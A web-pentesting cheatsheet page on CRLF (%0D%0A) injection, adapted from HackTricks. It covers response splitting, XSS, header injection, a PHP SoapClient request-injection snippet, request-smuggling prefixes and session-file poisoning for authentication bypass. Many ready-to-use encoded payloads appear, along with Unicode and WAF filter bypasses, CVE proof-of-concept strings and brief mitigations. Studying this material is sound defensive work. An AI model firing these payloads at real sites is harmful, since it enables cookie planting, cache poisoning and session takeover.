daemon-sec-cheatsheet

The cheatsheet vault for operators: AD, enumeration, exploitation, priv-esc, web, DFIR
git clone https://git.daemon-sec.xyz/daemon-sec-cheatsheet.git
Log | Files | Refs | README | LICENSE

crlf-0d-0a.md (20829B)


      1 ---
      2 title: "CRLF (%0D%0A) Injection"
      3 section: "Web Pentesting"
      4 sectionSlug: "pentesting-web"
      5 sourcePath: "src/pentesting-web/crlf-0d-0a.md"
      6 sourceUrl: "https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/pentesting-web/crlf-0d-0a.md"
      7 sha: "188de82beb54e70956b2952367a0af91d26758b8"
      8 isIndex: false
      9 modified: true
     10 license: "CC-BY-NC-4.0"
     11 ---
     12 
     13 # CRLF (%0D%0A) Injection
     14 
     15 ### CRLF
     16 
     17 Carriage Return (CR) and Line Feed (LF), collectively known as CRLF, are special character sequences used in the HTTP protocol to denote the end of a line or the start of a new one. Web servers and browsers use CRLF to distinguish between HTTP headers and the body of a response. These characters are universally employed in HTTP/1.1 communications across various web server types, such as Apache and Microsoft IIS.
     18 
     19 ### CRLF Injection Vulnerability
     20 
     21 CRLF injection involves the insertion of CR and LF characters into user-supplied input. This action misleads the server, application, or user into interpreting the injected sequence as the end of one response and the beginning of another. While these characters are not inherently harmful, their misuse can lead to HTTP response splitting and other malicious activities.
     22 
     23 ### Example: CRLF Injection in a Log File
     24 
     25 [Example from here](https://www.invicti.com/blog/web-security/crlf-http-header/)<sup>[[1]](#references)</sup>
     26 
     27 Consider a log file in an admin panel that follows the format: `IP - Time - Visited Path`. A typical entry might look like:
     28 
     29 ```text
     30 123.123.123.123 - 08:15 - /index.php?page=home
     31 ```
     32 
     33 An attacker can exploit a CRLF injection to manipulate this log. By injecting CRLF characters into the HTTP request, the attacker can alter the output stream and fabricate log entries. For instance, an injected sequence might transform the log entry into:
     34 
     35 ```text
     36 /index.php?page=home&%0d%0a127.0.0.1 - 08:15 - /index.php?page=home&restrictedaction=edit
     37 ```
     38 
     39 Here, `%0d` and `%0a` represent the URL-encoded forms of CR and LF. Post-attack, the log would misleadingly display:
     40 
     41 ```text
     42 IP - Time - Visited Path
     43 
     44 123.123.123.123 - 08:15 - /index.php?page=home&
     45 127.0.0.1 - 08:15 - /index.php?page=home&restrictedaction=edit
     46 ```
     47 
     48 The attacker thus cloaks their malicious activities by making it appear as if the localhost (an entity typically trusted within the server environment) performed the actions. The server interprets the part of the query starting with `%0d%0a` as a single parameter, while the `restrictedaction` parameter is parsed as another, separate input. The manipulated query effectively mimics a legitimate administrative command: `/index.php?page=home&restrictedaction=edit`<sup>[[1]](#references)</sup>
     49 
     50 ### HTTP Response Splitting
     51 
     52 #### Description
     53 
     54 HTTP response splitting occurs when attacker-controlled CRLF bytes terminate or create response headers and alter the response structure. Depending on the sink and surrounding infrastructure, this can enable header injection, redirects, cache poisoning, or cross-site scripting.<sup>[[1]](#references)</sup><sup>[[2]](#references)</sup><sup>[[4]](#references)</sup>
     55 
     56 #### XSS through HTTP Response Splitting
     57 
     58 1. The application sets a custom header like this: `X-Custom-Header: UserInput`
     59 2. The application fetches the value for `UserInput` from a query parameter, say "user_input". In scenarios lacking proper input validation and encoding, an attacker can craft a payload that includes the CRLF sequence, followed by malicious content.
     60 3. An attacker crafts a URL with a specially crafted 'user_input': `?user_input=Value%0d%0a%0d%0a<script>alert('XSS')</script>`
     61    - In this URL, `%0d%0a%0d%0a` is the URL-encoded form of CRLFCRLF. It tricks the server into inserting a CRLF sequence, making the server treat the subsequent part as the response body.
     62 4. The server reflects the attacker's input in the response header, leading to an unintended response structure where the malicious script is interpreted by the browser as part of the response body.
     63 
     64 #### An example of HTTP Response Splitting leading to Redirect
     65 
     66 From [https://medium.com/bugbountywriteup/bugbounty-exploiting-crlf-injection-can-lands-into-a-nice-bounty-159525a9cb62](https://medium.com/bugbountywriteup/bugbounty-exploiting-crlf-injection-can-lands-into-a-nice-bounty-159525a9cb62)<sup>[[10]](#references)</sup>
     67 
     68 Browser to:
     69 
     70 ```text
     71 /%0d%0aLocation:%20http://myweb.com
     72 ```
     73 
     74 And the server responses with the header:
     75 
     76 ```text
     77 Location: http://myweb.com
     78 ```
     79 
     80 **Other example: (from** [**https://www.acunetix.com/websitesecurity/crlf-injection/**](https://www.acunetix.com/websitesecurity/crlf-injection/)**)**<sup>[[2]](#references)</sup>
     81 
     82 ```text
     83 http://www.example.com/somepage.php?page=%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0aContent-Length:%2025%0d%0a%0d%0a%3Cscript%3Ealert(1)%3C/script%3E
     84 ```
     85 
     86 #### In URL Path
     87 
     88 You can send the payload **inside the URL path** to control the **response** from the server (example from [here](https://hackerone.com/reports/192667)):<sup>[[11]](#references)</sup>
     89 
     90 ```text
     91 http://stagecafrstore.starbucks.com/%3f%0d%0aLocation:%0d%0aContent-Type:text/html%0d%0aX-XSS-Protection%3a0%0d%0a%0d%0a%3Cscript%3Ealert%28document.domain%29%3C/script%3E
     92 http://stagecafrstore.starbucks.com/%3f%0D%0ALocation://x:1%0D%0AContent-Type:text/html%0D%0AX-XSS-Protection%3a0%0D%0A%0D%0A%3Cscript%3Ealert(document.domain)%3C/script%3E
     93 ```
     94 
     95 Check more examples in:
     96 
     97 
     98 [Crlf](https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/pentesting-web/https%3A/github.com/EdOverflow/bugbounty-cheatsheet/blob/master/cheatsheets/crlf.md)
     99 
    100 ### HTTP Header Injection
    101 
    102 HTTP Header Injection, often exploited through CRLF (Carriage Return and Line Feed) injection, allows attackers to insert HTTP headers. This can undermine security mechanisms such as XSS (Cross-Site Scripting) filters or the SOP (Same-Origin Policy), potentially leading to unauthorized access to sensitive data, such as CSRF tokens, or the manipulation of user sessions through cookie planting.
    103 
    104 #### Exploiting CORS via HTTP Header Injection
    105 
    106 An attacker can inject HTTP headers to enable CORS (Cross-Origin Resource Sharing), bypassing the restrictions imposed by SOP. This breach allows scripts from malicious origins to interact with resources from a different origin, potentially accessing protected data.
    107 
    108 #### SSRF and HTTP Request Injection via CRLF
    109 
    110 CRLF injection can be utilized to craft and inject an entirely new HTTP request. A notable example of this is the vulnerability in PHP's `SoapClient` class, specifically within the `user_agent` parameter. By manipulating this parameter, an attacker can insert additional headers and body content, or even inject a new HTTP request entirely. Below is a PHP example demonstrating this exploitation:
    111 
    112 ```php
    113 $target = 'http://127.0.0.1:9090/test';
    114 $post_string = 'variable=post value';
    115 $crlf = array(
    116     'POST /proxy HTTP/1.1',
    117     'Host: local.host.htb',
    118     'Cookie: PHPSESSID=[PHPSESSID]',
    119     'Content-Type: application/x-www-form-urlencoded',
    120     'Content-Length: '.(string)strlen($post_string),
    121     "\r\n",
    122     $post_string
    123 );
    124 
    125 $client = new SoapClient(null,
    126     array(
    127         'uri'=>$target,
    128         'location'=>$target,
    129         'user_agent'=>"IGN\r\n\r\n".join("\r\n",$crlf)
    130     )
    131 );
    132 
    133 # Put a netcat listener on port 9090
    134 $client->__soapCall("test", []);
    135 ```
    136 
    137 ### Header Injection to Request Smuggling
    138 
    139 For more info about this technique and potential problems [**check the original source**](https://portswigger.net/research/making-http-header-injection-critical-via-response-queue-poisoning).<sup>[[3]](#references)</sup>
    140 
    141 You can inject essential headers to ensure the **back-end keeps the connection open** after responding to the initial request:
    142 
    143 ```text
    144 GET /%20HTTP/1.1%0d%0aHost:%20redacted.net%0d%0aConnection:%20keep-alive%0d%0a%0d%0a HTTP/1.1
    145 ```
    146 
    147 Afterward, a second request can be specified. This scenario typically involves [HTTP request smuggling](/hacktricks/pentesting-web/http-request-smuggling/overview), a technique where extra headers or body elements appended by the server post-injection can lead to various security exploits.
    148 
    149 **Exploitation:**
    150 
    151 1. **Malicious Prefix Injection**: This method involves poisoning the next user's request or a web cache by specifying a malicious prefix. An example of this is:
    152 
    153 `GET /%20HTTP/1.1%0d%0aHost:%20redacted.net%0d%0aConnection:%20keep-alive%0d%0a%0d%0aGET%20/redirplz%20HTTP/1.1%0d%0aHost:%20oastify.com%0d%0a%0d%0aContent-Length:%2050%0d%0a%0d%0a HTTP/1.1`
    154 
    155 2. **Crafting a Prefix for Response Queue Poisoning**: This approach involves creating a prefix that, when combined with trailing junk, forms a complete second request. This can trigger response queue poisoning. An example is:
    156 
    157 `GET /%20HTTP/1.1%0d%0aHost:%20redacted.net%0d%0aConnection:%20keep-alive%0d%0a%0d%0aGET%20/%20HTTP/1.1%0d%0aFoo:%20bar HTTP/1.1`
    158 
    159 ### Memcache Injection
    160 
    161 Memcache is a **key-value store that uses a clear text protocol**. More info in:
    162 
    163 
    164 [11211 Memcache](/hacktricks/network-services-pentesting/11211-memcache/overview)
    165 
    166 **For the full information read the**[ **original writeup**](https://www.sonarsource.com/blog/zimbra-mail-stealing-clear-text-credentials-via-memcache-injection/)<sup>[[12]](#references)</sup>
    167 
    168 If a platform is taking **data from an HTTP request and using it without sanitizing** it to perform **requests** to a **memcache** server, an attacker could abuse this behaviour to **inject new memcache commands**.
    169 
    170 For example, in the original discovered vuln, cache keys were used to return the IP and port a user shuold connect to, and attackers were able to **inject memcache comands** that would **poison** the **cache to send the vistims details** (usrnames and passwords included) to the attacker servers:
    171 
    172 <figure><img src="https://raw.githubusercontent.com/HackTricks-wiki/hacktricks/188de82beb54e70956b2952367a0af91d26758b8/src/images/image%20%28659%29.png" alt="https://assets-eu-01.kc-usercontent.com/d0f02280-9dfb-0116-f970-137d713003b6/ba72cd16-2ca0-447b-aa70-5cde302a0b88/body-578d9f9f-1977-4e34-841c-ad870492328f_10.png?w=1322&h=178&auto=format&fit=crop"><figcaption></figcaption></figure>
    173 
    174 Moreover, researchers also discovered that they could desync the memcache responses to send the attackers ip and ports to users whose email the attacker didn't know:
    175 
    176 <figure><img src="https://raw.githubusercontent.com/HackTricks-wiki/hacktricks/188de82beb54e70956b2952367a0af91d26758b8/src/images/image%20%28637%29.png" alt="https://assets-eu-01.kc-usercontent.com/d0f02280-9dfb-0116-f970-137d713003b6/c6c1f3c4-d244-4bd9-93f7-2c88f139acfa/body-3f9ceeb9-3d6b-4867-a23f-e0e50a46a2e9_14.png?w=1322&h=506&auto=format&fit=crop"><figcaption></figcaption></figure>
    177 
    178 ### Pre-auth Session File Poisoning via CRLF
    179 
    180 Some applications **persist session state before authentication completes** and later **reload the same session from disk** after additional requests. If attacker-controlled values from **headers**, **cookies**, or login parameters are written into that session file **without stripping `\r` / `\n`**, CRLF injection can become an **authentication bypass** instead of just response splitting.<sup>[[6]](#references)</sup><sup>[[7]](#references)</sup><sup>[[8]](#references)</sup>
    181 
    182 Typical exploitation pattern:
    183 
    184 1. A failed or incomplete login **creates a pre-auth session file** on disk.
    185 2. The attacker finds a field that is later written to the session store, commonly a **Basic Authorization** value, a **session cookie subfield**, or another login-related attribute.
    186 3. If the product uses a **structured session identifier** or cookie format, try **removing optional/expected segments** to force a weaker code path where attacker-controlled data is **not encoded/encrypted** before being persisted.
    187 4. Inject raw CRLF so the serialized session becomes **multi-line**, allowing creation of extra trusted entries such as:
    188 
    189 ```text
    190 user=root
    191 cp_security_token=/cpsess...
    192 tfa_verified=1
    193 ```
    194 
    195 5. Trigger a **session reload / resume** path. If the parser trusts the poisoned session file, the attacker upgrades a pre-auth session into an authenticated or privileged one.
    196 
    197 Quick notes for review and exploitation:
    198 
    199 - Check whether the session store is **line-oriented** (`key=value` per line). These formats are especially sensitive to CRLF.
    200 - Compare how the application handles a **freshly issued session cookie** versus a **malformed/truncated** version of the same cookie.
    201 - If authentication is split across several requests, inspect whether the **same session identifier survives** from the failed login into the later privileged request.
    202 - Newline injection into one field can be enough if the reload logic later trusts **presence of keys** such as `user`, `role`, `successful_external_auth_with_timestamp`, or `tfa_verified`.
    203 
    204 Detection / triage ideas:
    205 
    206 - Inspect pre-auth session files for **authenticated-only keys**.
    207 - Flag session files whose `pass` or equivalent field became **multi-line**.
    208 - Correlate **failed-login origins** with later session records containing valid security tokens or authenticated attributes.
    209 
    210 ### How to Prevent CRLF / HTTP Header Injections in Web Applications
    211 
    212 To mitigate the risks of CRLF (Carriage Return and Line Feed) or HTTP Header Injections in web applications, the following strategies are recommended:
    213 
    214 1. **Avoid Direct User Input in Response Headers:** The safest approach is to refrain from incorporating user-supplied input directly into response headers.
    215 2. **Encode Special Characters:** If avoiding direct user input is not feasible, ensure to employ a function dedicated to encoding special characters like CR (Carriage Return) and LF (Line Feed). This practice prevents the possibility of CRLF injection.
    216 3. **Update Programming Language:** Regularly update the programming language used in your web applications to the latest version. Opt for a version that inherently disallows the injection of CR and LF characters within functions tasked with setting HTTP headers.
    217 
    218 ### CHEATSHEET
    219 
    220 [Cheatsheet from here](https://twitter.com/NinadMishra5/status/1650080604174667777)<sup>[[13]](#references)</sup>
    221 
    222 ```text
    223 1. HTTP Response Splitting
    224 • /%0D%0ASet-Cookie:mycookie=myvalue (Check if the response is setting this cookie)
    225 
    226 2. CRLF chained with Open Redirect
    227 • //www.google.com/%2F%2E%2E%0D%0AHeader-Test:test2
    228 • /www.google.com/%2E%2E%2F%0D%0AHeader-Test:test2
    229 • /google.com/%2F..%0D%0AHeader-Test:test2
    230 • /%0d%0aLocation:%20http://example.com
    231 
    232 3. CRLF Injection to XSS
    233 • /%0d%0aContent-Length:35%0d%0aX-XSS-Protection:0%0d%0a%0d%0a23
    234 • /%3f%0d%0aLocation:%0d%0aContent-Type:text/html%0d%0aX-XSS-Protection%3a0%0d%0a%0d%0a%3Cscript%3Ealert%28document.domain%29%3C/script%3E
    235 
    236 4. Filter Bypass
    237 • %E5%98%8A = %0A = \u560a
    238 • %E5%98%8D = %0D = \u560d
    239 • %E5%98%BE = %3E = \u563e (>)
    240 • %E5%98%BC = %3C = \u563c (<)
    241 • Payload = %E5%98%8A%E5%98%8DSet-Cookie:%20test
    242 ```
    243 
    244 ### Recent Vulnerabilities (2023 – 2025)
    245 
    246 The last few years have produced several high-impact CRLF/HTTP header-injection bugs in widely-used server- and client-side components. Reproducing and studying them locally is an excellent way of understanding real-world exploitation patterns.
    247 
    248 | Year | Component | CVE / Advisory | Root cause | PoC highlight |
    249 |------|-----------|---------------|------------|---------------|
    250 | 2024 | RestSharp (≥110.0.0 <110.2.0) | **CVE-2024-45302**<sup>[[5]](#references)</sup> | The `AddHeader()` helper did not sanitize CR/LF, allowing construction of multiple request headers when RestSharp is used as an HTTP client inside back-end services. Down-stream systems could be coerced into SSRF or request smuggling. | `client.AddHeader("X-Foo","bar%0d%0aHost:evil")` |
    251 | 2024 | Refit (≤ 7.2.101) | **CVE-2024-51501** | Header attributes on interface methods were copied verbatim into the request. By embedding `%0d%0a`, attackers could add arbitrary headers or even a second request when Refit was used by server-side worker jobs. | `[Headers("X: a%0d%0aContent-Length:0%0d%0a%0d%0aGET /admin HTTP/1.1")]` |
    252 | 2023 | Apache APISIX Dashboard | **GHSA-4h3j-f5x9-r6x3** | User-supplied `redirect` parameter was echoed into a `Location:` header without encoding, enabling open redirect + cache poisoning. | `/login?redirect=%0d%0aContent-Type:text/html%0d%0a%0d%0a<script>alert(1)</script>` |
    253 
    254 These bugs are important because they are triggered **inside application-level code** and not only at the web-server edge. Any internal component that performs HTTP requests or sets response headers must therefore enforce CR/LF filtering.
    255 
    256 ### Advanced Unicode / Control-Character Bypasses
    257 
    258 Modern WAF/rewriter stacks often strip literal `\r`/`\n` but forget about other characters that many back-ends treat as line terminators. When CRLF is filtered, try:
    259 
    260 * `%E2%80%A8` (`U+2028` – LINE SEPARATOR)
    261 * `%E2%80%A9` (`U+2029` – PARAGRAPH SEPARATOR)
    262 * `%C2%85`  (`U+0085` – NEXT LINE)
    263 
    264 Some HTTP stacks have normalized non-ASCII line separators while validating only literal CR/LF. Apache HttpClient, for example, tracked a Unicode bypass in which a sanitized header value could still introduce a newline.<sup>[[9]](#references)</sup> Test the exact client, proxy, and back-end chain with classic payloads such as:
    265 
    266 ```text
    267 /%0A%E2%80%A8Set-Cookie:%20admin=true
    268 ```
    269 
    270 If the filter normalises UTF-8 first, the control character is turned into a regular line-feed and the injected header is accepted.
    271 
    272 ### WAF Evasion via Injected `Content-Encoding` and `Content-Length`
    273 
    274 When header injection permits both response metadata and a body boundary, an attacker can try injecting:
    275 
    276 ```text
    277 %0d%0aContent-Encoding:%20identity%0d%0aContent-Length:%2030%0d%0a
    278 ```
    279 
    280 into a reflected header. If every intermediary preserves the injected fields and the resulting message framing, the attacker-controlled bytes after the header block may be interpreted as the response body, potentially producing XSS. `identity` means that no content coding has been applied; exploitability depends on the precise proxy and browser parsing behavior.<sup>[[3]](#references)</sup><sup>[[14]](#references)</sup>
    281 
    282 ## Automatic Tools
    283 
    284 * [CRLFsuite](https://github.com/Raghavd3v/CRLFsuite) – fast active scanner written in Go.
    285 * [crlfuzz](https://github.com/dwisiswant0/crlfuzz) – wordlist-based fuzzer that supports Unicode newline payloads.
    286 * [crlfix](https://github.com/glebarez/crlfix) – 2024 utility that patches HTTP requests generated by Go programs and can be used standalone to test internal services.
    287 
    288 ## Brute-Force Detection List
    289 
    290 - [carlospolop/Auto_Wordlists – crlf.txt](https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/crlf.txt)
    291 
    292 ## References
    293 
    294 - [1] [Invicti: What is CRLF injection and HTTP header injection?](https://www.invicti.com/blog/web-security/crlf-http-header/)
    295 - [2] [Acunetix: CRLF Injection](https://www.acunetix.com/websitesecurity/crlf-injection/)
    296 - [3] [PortSwigger Research: Making HTTP header injection critical via response queue poisoning](https://portswigger.net/research/making-http-header-injection-critical-via-response-queue-poisoning)
    297 - [4] [Netsparker: What Is CRLF / HTTP Header Injection?](https://www.netsparker.com/blog/web-security/crlf-http-header/)
    298 - [5] [NVD - CVE-2024-45302 (RestSharp CRLF injection)](https://nvd.nist.gov/vuln/detail/CVE-2024-45302)
    299 - [6] [Rapid7 - CVE-2026-41940: cPanel & WHM Authentication Bypass](https://www.rapid7.com/blog/post/etr-cve-2026-41940-cpanel-whm-authentication-bypass)
    300 - [7] [watchTowr - The Internet Is Falling Down, Falling Down, Falling Down (cPanel & WHM Authentication Bypass CVE-2026-41940)](https://labs.watchtowr.com/the-internet-is-falling-down-falling-down-falling-down-cpanel-whm-authentication-bypass-cve-2026-41940/)
    301 - [8] [cPanel Security Update 04/28/2026](https://support.cpanel.net/hc/en-us/articles/40073787579671-Security-CVE-2026-41940-cPanel-WHM-WP2-Security-Update-04-28-2026)
    302 - [9] [Apache HTTPCLIENT-1974: Unicode bypass of HTTP header CR/LF validation](https://issues.apache.org/jira/browse/HTTPCLIENT-1974)
    303 - [10] [Bugbounty: Exploiting CRLF Injection Can Land Into a Nice Bounty](https://medium.com/bugbountywriteup/bugbounty-exploiting-crlf-injection-can-lands-into-a-nice-bounty-159525a9cb62)
    304 - [11] [HackerOne Report #192667 - CRLF injection in the URL path](https://hackerone.com/reports/192667)
    305 - [12] [Sonarsource: Zimbra - Mail Stealing Clear-Text Credentials via Memcache Injection](https://www.sonarsource.com/blog/zimbra-mail-stealing-clear-text-credentials-via-memcache-injection/)
    306 - [13] [Ninad Mishra - CRLF cheatsheet](https://twitter.com/NinadMishra5/status/1650080604174667777)
    307 - [14] [RFC 9110, Section 8.4.1: Content Codings](https://www.rfc-editor.org/rfc/rfc9110.html#section-8.4.1)